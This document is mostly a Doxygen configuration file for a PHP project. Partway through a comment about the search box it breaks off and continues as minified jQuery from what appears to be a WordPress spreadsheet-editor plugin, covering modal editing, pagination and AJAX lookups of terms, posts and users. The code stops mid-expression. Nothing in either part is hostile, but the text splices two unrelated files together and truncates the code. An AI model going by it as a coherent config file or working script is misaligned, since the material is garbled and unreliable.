well. # The default value is: NO. RECURSIVE = YES # The EXCLUDE tag can be used to specify files and/or directories that should be # excluded from the INPUT source files. This way you can easily exclude a # subdirectory from a directory tree whose root is specified with the INPUT tag. # # Note that relative paths are relative to the directory from which doxygen is # run. EXCLUDE = src/Tester.php # The EXCLUDE_SYMLINKS tag can be used to select whether or not files or # directories that are symbolic links (a Unix file system feature) are excluded # from the input. # The default value is: NO. EXCLUDE_SYMLINKS = NO # If the value of the INPUT tag contains directories, you can use the # EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude # certain files from those directories. # # Note that the wildcards are matched against the file with absolute path, so to # exclude all test directories for example use the pattern */test/* EXCLUDE_PATTERNS = # The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names # (namespaces, classes, functions, etc.) that should be excluded from the # output. The symbol name can be a fully qualified name, a word, or if the # wildcard * is used, a substring. Examples: ANamespace, AClass, # AClass::ANamespace, ANamespace::*Test # # Note that the wildcards are matched against the file with absolute path, so to # exclude all test directories use the pattern */test/* EXCLUDE_SYMBOLS = # The EXAMPLE_PATH tag can be used to specify one or more files or directories # that contain example code fragments that are included (see the \include # command). EXAMPLE_PATH = # If the value of the EXAMPLE_PATH tag contains directories, you can use the # EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp and # *.h) to filter out the source-files in the directories. If left blank all # files are included. EXAMPLE_PATTERNS = # If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be # searched for input files to be used with the \include or \dontinclude commands # irrespective of the value of the RECURSIVE tag. # The default value is: NO. EXAMPLE_RECURSIVE = NO # The IMAGE_PATH tag can be used to specify one or more files or directories # that contain images that are to be included in the documentation (see the # \image command). IMAGE_PATH = # The INPUT_FILTER tag can be used to specify a program that doxygen should # invoke to filter for each input file. Doxygen will invoke the filter program # by executing (via popen()) the command: # # # # where is the value of the INPUT_FILTER tag, and is the # name of an input file. Doxygen will then use the output that the filter # program writes to standard output. If FILTER_PATTERNS is specified, this tag # will be ignored. # # Note that the filter must not add or remove lines; it is applied before the # code is scanned, but not when the output code is generated. If lines are added # or removed, the anchors will not be placed correctly. INPUT_FILTER = doxygen/doxygen-filter.php # The FILTER_PATTERNS tag can be used to specify filters on a per file pattern # basis. Doxygen will compare the file name with each pattern and apply the # filter if there is a match. The filters are a list of the form: pattern=filter # (like *.cpp=my_cpp_filter). See INPUT_FILTER for further information on how # filters are used. If the FILTER_PATTERNS tag is empty or if none of the # patterns match the file name, INPUT_FILTER is applied. FILTER_PATTERNS = # If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using # INPUT_FILTER ) will also be used to filter the input files that are used for # producing the source files to browse (i.e. when SOURCE_BROWSER is set to YES). # The default value is: NO. FILTER_SOURCE_FILES = NO # The FILTER_SOURCE_PATTERNS tag can be used to specify source filters per file # pattern. A pattern will override the setting for FILTER_PATTERN (if any) and # it is also possible to disable source filtering for a specific pattern using # *.ext= (so without naming a filter). # This tag requires that the tag FILTER_SOURCE_FILES is set to YES. FILTER_SOURCE_PATTERNS = # If the USE_MDFILE_AS_MAINPAGE tag refers to the name of a markdown file that # is part of the input, its contents will be placed on the main page # (index.html). This can be useful if you have a project on for instance GitHub # and want to reuse the introduction page also for the doxygen output. USE_MDFILE_AS_MAINPAGE = doxygen/main.md #--------------------------------------------------------------------------- # Configuration options related to source browsing #--------------------------------------------------------------------------- # If the SOURCE_BROWSER tag is set to YES then a list of source files will be # generated. Documented entities will be cross-referenced with these sources. # # Note: To get rid of all source code in the generated output, make sure that # also VERBATIM_HEADERS is set to NO. # The default value is: NO. SOURCE_BROWSER = NO # Setting the INLINE_SOURCES tag to YES will include the body of functions, # classes and enums directly into the documentation. # The default value is: NO. INLINE_SOURCES = NO # Setting the STRIP_CODE_COMMENTS tag to YES will instruct doxygen to hide any # special comment blocks from generated source code fragments. Normal C, C++ and # Fortran comments will always remain visible. # The default value is: YES. STRIP_CODE_COMMENTS = YES # If the REFERENCED_BY_RELATION tag is set to YES then for each documented # function all documented functions referencing it will be listed. # The default value is: NO. REFERENCED_BY_RELATION = NO # If the REFERENCES_RELATION tag is set to YES then for each documented function # all documented entities called/used by that function will be listed. # The default value is: NO. REFERENCES_RELATION = NO # If the REFERENCES_LINK_SOURCE tag is set to YES and SOURCE_BROWSER tag is set # to YES, then the hyperlinks from functions in REFERENCES_RELATION and # REFERENCED_BY_RELATION lists will link to the source code. Otherwise they will # link to the documentation. # The default value is: YES. REFERENCES_LINK_SOURCE = YES # If SOURCE_TOOLTIPS is enabled (the default) then hovering a hyperlink in the # source code will show a tooltip with additional information such as prototype, # brief description and links to the definition and documentation. Since this # will make the HTML file larger and loading of large files a bit slower, you # can opt to disable this feature. # The default value is: YES. # This tag requires that the tag SOURCE_BROWSER is set to YES. SOURCE_TOOLTIPS = YES # If the USE_HTAGS tag is set to YES then the references to source code will # point to the HTML generated by the htags(1) tool instead of doxygen built-in # source browser. The htags tool is part of GNU's global source tagging system # (see http://www.gnu.org/software/global/global.html). You will need version # 4.8.6 or higher. # # To use it do the following: # - Install the latest version of global # - Enable SOURCE_BROWSER and USE_HTAGS in the config file # - Make sure the INPUT points to the root of the source tree # - Run doxygen as normal # # Doxygen will invoke htags (and that will in turn invoke gtags), so these # tools must be available from the command line (i.e. in the search path). # # The result: instead of the source browser generated by doxygen, the links to # source code will now point to the output of htags. # The default value is: NO. # This tag requires that the tag SOURCE_BROWSER is set to YES. USE_HTAGS = NO # If the VERBATIM_HEADERS tag is set the YES then doxygen will generate a # verbatim copy of the header file for each class for which an include is # specified. Set to NO to disable this. # See also: Section \class. # The default value is: YES. VERBATIM_HEADERS = YES #--------------------------------------------------------------------------- # Configuration options related to the alphabetical class index #--------------------------------------------------------------------------- # If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index of all # compounds will be generated. Enable this if the project contains a lot of # classes, structs, unions or interfaces. # The default value is: YES. ALPHABETICAL_INDEX = YES # The COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns in # which the alphabetical index list will be split. # Minimum value: 1, maximum value: 20, default value: 5. # This tag requires that the tag ALPHABETICAL_INDEX is set to YES. COLS_IN_ALPHA_INDEX = 5 # In case all classes in a project start with a common prefix, all classes will # be put under the same header in the alphabetical index. The IGNORE_PREFIX tag # can be used to specify a prefix (or a list of prefixes) that should be ignored # while generating the index headers. # This tag requires that the tag ALPHABETICAL_INDEX is set to YES. IGNORE_PREFIX = #--------------------------------------------------------------------------- # Configuration options related to the HTML output #--------------------------------------------------------------------------- # If the GENERATE_HTML tag is set to YES doxygen will generate HTML output # The default value is: YES. GENERATE_HTML = YES # The HTML_OUTPUT tag is used to specify where the HTML docs will be put. If a # relative path is entered the value of OUTPUT_DIRECTORY will be put in front of # it. # The default directory is: html. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_OUTPUT = html # The HTML_FILE_EXTENSION tag can be used to specify the file extension for each # generated HTML page (for example: .htm, .php, .asp). # The default value is: .html. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_FILE_EXTENSION = .html # The HTML_HEADER tag can be used to specify a user-defined HTML header file for # each generated HTML page. If the tag is left blank doxygen will generate a # standard header. # # To get valid HTML the header file that includes any scripts and style sheets # that doxygen needs, which is dependent on the configuration options used (e.g. # the setting GENERATE_TREEVIEW). It is highly recommended to start with a # default header using # doxygen -w html new_header.html new_footer.html new_stylesheet.css # YourConfigFile # and then modify the file new_header.html. See also section "Doxygen usage" # for information on how to generate the default header that doxygen normally # uses. # Note: The header is subject to change so you typically have to regenerate the # default header when upgrading to a newer version of doxygen. For a description # of the possible markers and block names see the documentation. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_HEADER = doxygen/header.html # The HTML_FOOTER tag can be used to specify a user-defined HTML footer for each # generated HTML page. If the tag is left blank doxygen will generate a standard # footer. See HTML_HEADER for more information on how to generate a default # footer and what special commands can be used inside the footer. See also # section "Doxygen usage" for information on how to generate the default footer # that doxygen normally uses. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_FOOTER = doxygen/footer.html # The HTML_STYLESHEET tag can be used to specify a user-defined cascading style # sheet that is used by each HTML page. It can be used to fine-tune the look of # the HTML output. If left blank doxygen will generate a default style sheet. # See also section "Doxygen usage" for information on how to generate the style # sheet that doxygen normally uses. # Note: It is recommended to use HTML_EXTRA_STYLESHEET instead of this tag, as # it is more robust and this tag (HTML_STYLESHEET) will in the future become # obsolete. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_STYLESHEET = # The HTML_EXTRA_STYLESHEET tag can be used to specify an additional user- # defined cascading style sheet that is included after the standard style sheets # created by doxygen. Using this option one can overrule certain style aspects. # This is preferred over using HTML_STYLESHEET since it does not replace the # standard style sheet and is therefor more robust against future updates. # Doxygen will copy the style sheet file to the output directory. For an example # see the documentation. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_EXTRA_STYLESHEET = doxygen/customdoxygen.css # The HTML_EXTRA_FILES tag can be used to specify one or more extra images or # other source files which should be copied to the HTML output directory. Note # that these files will be copied to the base HTML output directory. Use the # $relpath^ marker in the HTML_HEADER and/or HTML_FOOTER files to load these # files. In the HTML_STYLESHEET file, use the file name only. Also note that the # files will be copied as-is; there are no commands or markers available. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_EXTRA_FILES = doxygen/doxy-boot.js doxygen/logo-159x50.png doxygen/logo-127x40.png # The HTML_COLORSTYLE_HUE tag controls the color of the HTML output. Doxygen # will adjust the colors in the stylesheet and background images according to # this color. Hue is specified as an angle on a colorwheel, see # http://en.wikipedia.org/wiki/Hue for more information. For instance the value # 0 represents red, 60 is yellow, 120 is green, 180 is cyan, 240 is blue, 300 # purple, and 360 is red again. # Minimum value: 0, maximum value: 359, default value: 220. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_COLORSTYLE_HUE = 220 # The HTML_COLORSTYLE_SAT tag controls the purity (or saturation) of the colors # in the HTML output. For a value of 0 the output will use grayscales only. A # value of 255 will produce the most vivid colors. # Minimum value: 0, maximum value: 255, default value: 100. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_COLORSTYLE_SAT = 100 # The HTML_COLORSTYLE_GAMMA tag controls the gamma correction applied to the # luminance component of the colors in the HTML output. Values below 100 # gradually make the output lighter, whereas values above 100 make the output # darker. The value divided by 100 is the actual gamma applied, so 80 represents # a gamma of 0.8, The value 220 represents a gamma of 2.2, and 100 does not # change the gamma. # Minimum value: 40, maximum value: 240, default value: 80. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_COLORSTYLE_GAMMA = 80 # If the HTML_TIMESTAMP tag is set to YES then the footer of each generated HTML # page will contain the date and time when the page was generated. Setting this # to NO can help when comparing the output of multiple runs. # The default value is: YES. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_TIMESTAMP = YES # If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML # documentation will contain sections that can be hidden and shown after the # page has loaded. # The default value is: NO. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_DYNAMIC_SECTIONS = NO # With HTML_INDEX_NUM_ENTRIES one can control the preferred number of entries # shown in the various tree structured indices initially; the user can expand # and collapse entries dynamically later on. Doxygen will expand the tree to # such a level that at most the specified number of entries are visible (unless # a fully collapsed tree already exceeds this amount). So setting the number of # entries 1 will produce a full collapsed tree by default. 0 is a special value # representing an infinite number of entries and will result in a full expanded # tree by default. # Minimum value: 0, maximum value: 9999, default value: 100. # This tag requires that the tag GENERATE_HTML is set to YES. HTML_INDEX_NUM_ENTRIES = 100 # If the GENERATE_DOCSET tag is set to YES, additional index files will be # generated that can be used as input for Apple's Xcode 3 integrated development # environment (see: http://developer.apple.com/tools/xcode/), introduced with # OSX 10.5 (Leopard). To create a documentation set, doxygen will generate a # Makefile in the HTML output directory. Running make will produce the docset in # that directory and running make install will install the docset in # ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find it at # startup. See http://developer.apple.com/tools/creatingdocsetswithdoxygen.html # for more information. # The default value is: NO. # This tag requires that the tag GENERATE_HTML is set to YES. GENERATE_DOCSET = NO # This tag determines the name of the docset feed. A documentation feed provides # an umbrella under which multiple documentation sets from a single provider # (such as a company or product suite) can be grouped. # The default value is: Doxygen generated docs. # This tag requires that the tag GENERATE_DOCSET is set to YES. DOCSET_FEEDNAME = "Doxygen generated docs" # This tag specifies a string that should uniquely identify the documentation # set bundle. This should be a reverse domain-name style string, e.g. # com.mycompany.MyDocSet. Doxygen will append .docset to the name. # The default value is: org.doxygen.Project. # This tag requires that the tag GENERATE_DOCSET is set to YES. DOCSET_BUNDLE_ID = org.doxygen.Project # The DOCSET_PUBLISHER_ID tag specifies a string that should uniquely identify # the documentation publisher. This should be a reverse domain-name style # string, e.g. com.mycompany.MyDocSet.documentation. # The default value is: org.doxygen.Publisher. # This tag requires that the tag GENERATE_DOCSET is set to YES. DOCSET_PUBLISHER_ID = org.doxygen.Publisher # The DOCSET_PUBLISHER_NAME tag identifies the documentation publisher. # The default value is: Publisher. # This tag requires that the tag GENERATE_DOCSET is set to YES. DOCSET_PUBLISHER_NAME = Publisher # If the GENERATE_HTMLHELP tag is set to YES then doxygen generates three # additional HTML index files: index.hhp, index.hhc, and index.hhk. The # index.hhp is a project file that can be read by Microsoft's HTML Help Workshop # (see: http://www.microsoft.com/en-us/download/details.aspx?id=21138) on # Windows. # # The HTML Help Workshop contains a compiler that can convert all HTML output # generated by doxygen into a single compiled HTML file (.chm). Compiled HTML # files are now used as the Windows 98 help format, and will replace the old # Windows help format (.hlp) on all Windows platforms in the future. Compressed # HTML files also contain an index, a table of contents, and you can search for # words in the documentation. The HTML workshop also contains a viewer for # compressed HTML files. # The default value is: NO. # This tag requires that the tag GENERATE_HTML is set to YES. GENERATE_HTMLHELP = NO # The CHM_FILE tag can be used to specify the file name of the resulting .chm # file. You can add a path in front of the file if the result should not be # written to the html output directory. # This tag requires that the tag GENERATE_HTMLHELP is set to YES. CHM_FILE = # The HHC_LOCATION tag can be used to specify the location (absolute path # including file name) of the HTML help compiler ( hhc.exe). If non-empty # doxygen will try to run the HTML help compiler on the generated index.hhp. # The file has to be specified with full path. # This tag requires that the tag GENERATE_HTMLHELP is set to YES. HHC_LOCATION = # The GENERATE_CHI flag controls if a separate .chi index file is generated ( # YES) or that it should be included in the master .chm file ( NO). # The default value is: NO. # This tag requires that the tag GENERATE_HTMLHELP is set to YES. GENERATE_CHI = NO # The CHM_INDEX_ENCODING is used to encode HtmlHelp index ( hhk), content ( hhc) # and project file content. # This tag requires that the tag GENERATE_HTMLHELP is set to YES. CHM_INDEX_ENCODING = # The BINARY_TOC flag controls whether a binary table of contents is generated ( # YES) or a normal table of contents ( NO) in the .chm file. # The default value is: NO. # This tag requires that the tag GENERATE_HTMLHELP is set to YES. BINARY_TOC = NO # The TOC_EXPAND flag can be set to YES to add extra items for group members to # the table of contents of the HTML help documentation and to the tree view. # The default value is: NO. # This tag requires that the tag GENERATE_HTMLHELP is set to YES. TOC_EXPAND = NO # If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and # QHP_VIRTUAL_FOLDER are set, an additional index file will be generated that # can be used as input for Qt's qhelpgenerator to generate a Qt Compressed Help # (.qch) of the generated HTML documentation. # The default value is: NO. # This tag requires that the tag GENERATE_HTML is set to YES. GENERATE_QHP = NO # If the QHG_LOCATION tag is specified, the QCH_FILE tag can be used to specify # the file name of the resulting .qch file. The path specified is relative to # the HTML output folder. # This tag requires that the tag GENERATE_QHP is set to YES. QCH_FILE = # The QHP_NAMESPACE tag specifies the namespace to use when generating Qt Help # Project output. For more information please see Qt Help Project / Namespace # (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#namespace). # The default value is: org.doxygen.Project. # This tag requires that the tag GENERATE_QHP is set to YES. QHP_NAMESPACE = org.doxygen.Project # The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating Qt # Help Project output. For more information please see Qt Help Project / Virtual # Folders (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#virtual- # folders). # The default value is: doc. # This tag requires that the tag GENERATE_QHP is set to YES. QHP_VIRTUAL_FOLDER = doc # If the QHP_CUST_FILTER_NAME tag is set, it specifies the name of a custom # filter to add. For more information please see Qt Help Project / Custom # Filters (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#custom- # filters). # This tag requires that the tag GENERATE_QHP is set to YES. QHP_CUST_FILTER_NAME = # The QHP_CUST_FILTER_ATTRS tag specifies the list of the attributes of the # custom filter to add. For more information please see Qt Help Project / Custom # Filters (see: http://qt-project.org/doc/qt-4.8/qthelpproject.html#custom- # filters). # This tag requires that the tag GENERATE_QHP is set to YES. QHP_CUST_FILTER_ATTRS = # The QHP_SECT_FILTER_ATTRS tag specifies the list of the attributes this # project's filter section matches. Qt Help Project / Filter Attributes (see: # http://qt-project.org/doc/qt-4.8/qthelpproject.html#filter-attributes). # This tag requires that the tag GENERATE_QHP is set to YES. QHP_SECT_FILTER_ATTRS = # The QHG_LOCATION tag can be used to specify the location of Qt's # qhelpgenerator. If non-empty doxygen will try to run qhelpgenerator on the # generated .qhp file. # This tag requires that the tag GENERATE_QHP is set to YES. QHG_LOCATION = # If the GENERATE_ECLIPSEHELP tag is set to YES, additional index files will be # generated, together with the HTML files, they form an Eclipse help plugin. To # install this plugin and make it available under the help contents menu in # Eclipse, the contents of the directory containing the HTML and XML files needs # to be copied into the plugins directory of eclipse. The name of the directory # within the plugins directory should be the same as the ECLIPSE_DOC_ID value. # After copying Eclipse needs to be restarted before the help appears. # The default value is: NO. # This tag requires that the tag GENERATE_HTML is set to YES. GENERATE_ECLIPSEHELP = NO # A unique identifier for the Eclipse help plugin. When installing the plugin # the directory name containing the HTML and XML files should also have this # name. Each documentation set should have its own identifier. # The default value is: org.doxygen.Project. # This tag requires that the tag GENERATE_ECLIPSEHELP is set to YES. ECLIPSE_DOC_ID = org.doxygen.Project # If you want full control over the layout of the generated HTML pages it might # be necessary to disable the index and replace it with your own. The # DISABLE_INDEX tag can be used to turn on/off the condensed index (tabs) at top # of each HTML page. A value of NO enables the index and the value YES disables # it. Since the tabs in the index contain the same information as the navigation # tree, you can set this option to YES if you also set GENERATE_TREEVIEW to YES. # The default value is: NO. # This tag requires that the tag GENERATE_HTML is set to YES. DISABLE_INDEX = NO # The GENERATE_TREEVIEW tag is used to specify whether a tree-like index # structure should be generated to display hierarchical information. If the tag # value is set to YES, a side panel will be generated containing a tree-like # index structure (just like the one that is generated for HTML Help). For this # to work a browser that supports JavaScript, DHTML, CSS and frames is required # (i.e. any modern browser). Windows users are probably better off using the # HTML help feature. Via custom stylesheets (see HTML_EXTRA_STYLESHEET) one can # further fine-tune the look of the index. As an example, the default style # sheet generated by doxygen has an example that shows how to put an image at # the root of the tree instead of the PROJECT_NAME. Since the tree basically has # the same information as the tab index, you could consider setting # DISABLE_INDEX to YES when enabling this option. # The default value is: NO. # This tag requires that the tag GENERATE_HTML is set to YES. GENERATE_TREEVIEW = NO # The ENUM_VALUES_PER_LINE tag can be used to set the number of enum values that # doxygen will group on one line in the generated HTML documentation. # # Note that a value of 0 will completely suppress the enum values from appearing # in the overview section. # Minimum value: 0, maximum value: 20, default value: 4. # This tag requires that the tag GENERATE_HTML is set to YES. ENUM_VALUES_PER_LINE = 4 # If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be used # to set the initial width (in pixels) of the frame in which the tree is shown. # Minimum value: 0, maximum value: 1500, default value: 250. # This tag requires that the tag GENERATE_HTML is set to YES. TREEVIEW_WIDTH = 250 # When the EXT_LINKS_IN_WINDOW option is set to YES doxygen will open links to # external symbols imported via tag files in a separate window. # The default value is: NO. # This tag requires that the tag GENERATE_HTML is set to YES. EXT_LINKS_IN_WINDOW = NO # Use this tag to change the font size of LaTeX formulas included as images in # the HTML documentation. When you change the font size after a successful # doxygen run you need to manually remove any form_*.png images from the HTML # output directory to force them to be regenerated. # Minimum value: 8, maximum value: 50, default value: 10. # This tag requires that the tag GENERATE_HTML is set to YES. FORMULA_FONTSIZE = 10 # Use the FORMULA_TRANPARENT tag to determine whether or not the images # generated for formulas are transparent PNGs. Transparent PNGs are not # supported properly for IE 6.0, but are supported on all modern browsers. # # Note that when changing this option you need to delete any form_*.png files in # the HTML output directory before the changes have effect. # The default value is: YES. # This tag requires that the tag GENERATE_HTML is set to YES. FORMULA_TRANSPARENT = YES # Enable the USE_MATHJAX option to render LaTeX formulas using MathJax (see # http://www.mathjax.org) which uses client side Javascript for the rendering # instead of using prerendered bitmaps. Use this if you do not have LaTeX # installed or if you want to formulas look prettier in the HTML output. When # enabled you may also need to install MathJax separately and configure the path # to it using the MATHJAX_RELPATH option. # The default value is: NO. # This tag requires that the tag GENERATE_HTML is set to YES. USE_MATHJAX = YES # When MathJax is enabled you can set the default output format to be used for # the MathJax output. See the MathJax site (see: # http://docs.mathjax.org/en/latest/output.html) for more details. # Possible values are: HTML-CSS (which is slower, but has the best # compatibility), NativeMML (i.e. MathML) and SVG. # The default value is: HTML-CSS. # This tag requires that the tag USE_MATHJAX is set to YES. MATHJAX_FORMAT = HTML-CSS # When MathJax is enabled you need to specify the location relative to the HTML # output directory using the MATHJAX_RELPATH option. The destination directory # should contain the MathJax.js script. For instance, if the mathjax directory # is located at the same level as the HTML output directory, then # MATHJAX_RELPATH should be ../mathjax. The default value points to the MathJax # Content Delivery Network so you can quickly see the result without installing # MathJax. However, it is strongly recommended to install a local copy of # MathJax from http://www.mathjax.org before deployment. # The default value is: http://cdn.mathjax.org/mathjax/latest. # This tag requires that the tag USE_MATHJAX is set to YES. MATHJAX_RELPATH = http://cdn.mathjax.org/mathjax/latest # The MATHJAX_EXTENSIONS tag can be used to specify one or more MathJax # extension names that should be enabled during MathJax rendering. For example # MATHJAX_EXTENSIONS = TeX/AMSmath TeX/AMSsymbols # This tag requires that the tag USE_MATHJAX is set to YES. MATHJAX_EXTENSIONS = TeX/AMSmath TeX/AMSsymbols # The MATHJAX_CODEFILE tag can be used to specify a file with javascript pieces # of code that will be used on startup of the MathJax code. See the MathJax site # (see: http://docs.mathjax.org/en/latest/output.html) for more details. For an # example see the documentation. # This tag requires that the tag USE_MATHJAX is set to YES. MATHJAX_CODEFILE = # When the SEARCHENGINE tag is enabled doxygen will generate a search box for # the HTML output. The underlying search engine uses javascript and DHTML and # should work on any modern browser. Note that when using HTML help # (GENERATE_HTMLHELP), Qt help (GENERATE_QHP), or docsets (GENERATE_DOCSET) # there is already a search function so this one should typically be disabled. # For large projects the javascript based search engine can be slow, then # enabling SERVER_BASED_SEARCH may provide a better solution. It is possible to # search using the keyboard; to jump to the search box use + S # (what the is depends on the OS and browser, but it is typically # , /
    '}),jQuery("div[data-remodal-id=image] .modal-content").html(a),jQuery("[data-remodal-id=image]").remodal()}),jQuery("button.siguiente").on("click",function(){var e=jQuery(this);e.parents(".modal-tinymce-editor").length&&d();var t=e.data("pos"),o=e.parents(".remodal").data("column-key"),a=jQuery(j.getCell(t,j.propToCol(o)));e.data("delay")?setTimeout(function(){a.find(".button").click()},parseInt(e.data("delay"))):a.find(".button").trigger("click")}),jQuery("button.anterior").on("click",function(){var e=jQuery(this);e.parents(".modal-tinymce-editor").length&&d();var t=e.data("pos"),o=e.parents(".remodal").data("column-key"),a=jQuery(j.getCell(t,j.propToCol(o)));e.data("delay")?setTimeout(function(){a.find(".button").trigger("click")},parseInt(e.data("delay"))):a.find(".button").trigger("click")}),jQuery("body").on("click",".btn-popup-content",function(){var e=jQuery(this),t=e.data("id"),o=e.data("key"),a=e.data("type"),r=j.countRows(),n=jQuery(this).parent("td"),s=j.getCoords(n[0]),i=vgseGetRowTitle(s.row),d=s.row,l=jQuery(".modal-tinymce-editor");0===d?(l.find("button.anterior").hide(),l.find("button.anterior").next("[data-wpse-tooltip]").hide()):(l.find("button.anterior").show(),l.find("button.anterior").next("[data-wpse-tooltip]").show()),d===r-1?(l.find("button.siguiente").hide(),l.find("button.siguiente").next("[data-wpse-tooltip]").hide()):(l.find("button.siguiente").show(),l.find("button.siguiente").next("[data-wpse-tooltip]").show()),l.find("button.anterior").data("pos",d-1),l.find("button.siguiente").data("pos",d+1),i?jQuery(".modal-tinymce-editor .post-title-modal span").text(i).show():jQuery(".modal-tinymce-editor .post-title-modal").hide(),jQuery(".modal-tinymce-editor .remodal-confirm").data("post_id",t),jQuery(".modal-tinymce-editor").data("column-key",o),jQuery(".modal-tinymce-editor .remodal-confirm").data("type",a),jQuery(".modal-tinymce-editor .remodal-confirm").data("cellCoords",s),jQuery('[data-remodal-id="editor"]').remodal().open()}),jQuery(document).on("opened",'[data-remodal-id="editor"]',function(e){var t=jQuery(this).find(".remodal-confirm").data("cellCoords"),o=j.getDataAtCell(t.row,t.col);window.tinymceEditorInitialized?i(o):(window.tinymceEditorInitialized=!0,jQuery("html").addClass("wpse-loading-tinymce"),tinyMCEPreInit.mceInit.editpost.setup=function(e){e.on("init",function(e){i(o)})},wp.editor.initialize("editpost",{tinymce:tinyMCEPreInit.mceInit.editpost,quicktags:tinyMCEPreInit.qtInit.editpost,mediaButtons:!0}))}),jQuery(".guardar-popup-tinymce").on("click",function(e){d()}),jQuery("body").on("click",".wpse-disable-if-unsaved-changes.disabled",function(e){alert(vgse_editor_settings.texts.save_changes_before_using_tool)}),jQuery(".pagination-jump input").on("keyup",function(e){var t=parseInt(jQuery(this).val()),o=parseInt(jQuery(this).attr("max"));if(13==e.keyCode&&t!==window.beCurrentPage&&1<=t&&t<=o)return vgseReloadSpreadsheet(!0,null,t),jQuery(this).blur(),!0}),jQuery("body").on("click",".load-more",function(){jQuery("#formato").is(":checked")?format=!0:format=!1;var e=jQuery(".remodal-bg").data("nonce");if(jQuery(this).data("pagination")){var t=parseInt(jQuery(this).data("pagination"));return t&&t!==window.beCurrentPage&&vgseReloadSpreadsheet(!0,null,t),!0}var o=window.beCurrentPage+1;beLoadPosts({post_type:m.data("post-type"),paged:o,nonce:e},function(e){if(e.success){vgseAddFoundRowsCount(e.data.total),vgAddRowsToSheet(e.data.rows),loading_ajax({estado:!1});var t=e.data.message||vgse_editor_settings.texts.posts_loaded;notification({mensaje:t}),window.scrroll=!0,e.data&&e.data.rows.length||(window.scrroll=!1)}else loading_ajax({estado:!1}),notification({mensaje:e.data.message,tipo:"info",time:3e4}),window.scrroll=!1})});jQuery("#post-data").offset();window.scrroll=!0,window.isAddColumnNotified=!1;j.countRows();var y=jQuery(".ht_clone_top").width()>jQuery(window).width(),h=jQuery(document).width()+200>jQuery(window).width(),v=jQuery("#infinito");function _(e){if(!0===e)var t=vgse_editor_settings.columnsFormat;else t=vgse_editor_settings.columnsUnformat;var a=vgObjectToArray(t);return a.forEach(function(o,e){"string"==typeof o.source&&("loadTaxonomyTerms"===o.source&&(a[e].source=_throttle(function(e,t){return function(e,t){var o=jQuery(".remodal-bg").data("nonce"),a=jQuery("#post_type_new_row").val(),r=j.colToProp(j.getSelected()[0][1]),n=vgse_editor_settings.columnsFormat[r].taxonomy_key||r;void 0===window.wpseTaxonomyTerms&&(window.wpseTaxonomyTerms={});void 0===window.wpseTaxonomyTerms[n]?(window.wpseTaxonomyTerms[n]=[],jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_get_taxonomy_terms",taxonomy_key:n,nonce:o,post_type:a,wpse_source:"taxonomy_column"},success:function(e){window.wpseTaxonomyTerms[n]=e.data,t(e.data)}})):t(window.wpseTaxonomyTerms[n])}(0,t)},1500,{leading:!0,trailing:!0})),"searchPostByKeyword"===o.source&&(a[e].source=_throttle(function(e,t){return function(e,o,t){if(!e)return o([]);var a=jQuery(".remodal-bg").data("nonce"),r=t||jQuery("#post_type_new_row").val();jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_find_post_by_name",search:e,nonce:a,post_type:r,wpse_source:"post_dropdown_column"},success:function(e){var t=[];e.success&&e.data.data.forEach(function(e){t.push(e.title)}),o(t)}})}(e,t,o.searchPostType)},1500,{leading:!0,trailing:!0})),"searchUsers"===o.source&&(a[e].source=_throttle(function(e,t){return function(e,o){var t=jQuery(".remodal-bg").data("nonce"),a=vgse_editor_settings.post_type;jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_find_users_by_keyword",search:e,nonce:t,post_type:a,wpse_source:"users_dropdown_column"},success:function(e){var t=[];e.success&&(t=e.data.data),o(t)}})}(e,t)},1500,{leading:!0,trailing:!0})))}),a}function b(e,t,o,a,r,n,s){var i=jQuery(window).scrollTop(),d=scrollDown(a+e),l=jQuery(window).scrollLeft();d&&"top"===e&&(rjQuery(window).height()&&void 0!==window.beOriginalData&&parseInt(jQuery(window).scrollTop()+jQuery(window).height())==jQuery(document).height()&&!0===window.scrroll&&e&&(jQuery(".load-more").trigger("click"),window.scrroll=!1);var t=jQuery(window).scrollLeft()+jQuery(window).width()>=jQuery(document).width()-400;y&&vgse_editor_settings.texts.hint_missing_column_on_scroll&&h&&t&&!window.isAddColumnNotified&&!e&&(window.isAddColumnNotified=!0,notification({mensaje:vgse_editor_settings.texts.hint_missing_column_on_scroll,tipo:"info",time:8e4,position:"bottom"}))},500,{leading:!0,trailing:!0})),jQuery("body").on("click",".show-column-missing-tips",function(e){e.preventDefault(),setTimeout(function(){jQuery(".modal-columns-visibility").parent().scrollTop(jQuery(".missing-column-tips").offset().top)},250)}),jQuery("body").on("click",".wpse-enable-locked-cell",function(e){e.preventDefault();var t=j.colToProp(j.getSelected()[0][1]);vgse_editor_settings.lockedColumnsManuallyEnabled.push(t);var o=j.propToCol(t),a=j.getDataAtCell(1,o);j.setDataAtCell(1,o,a)}),jQuery("#formato").on("change",function(){jQuery(this).is(":checked")?format=!1:format=!0;var e=_(format);"function"==typeof 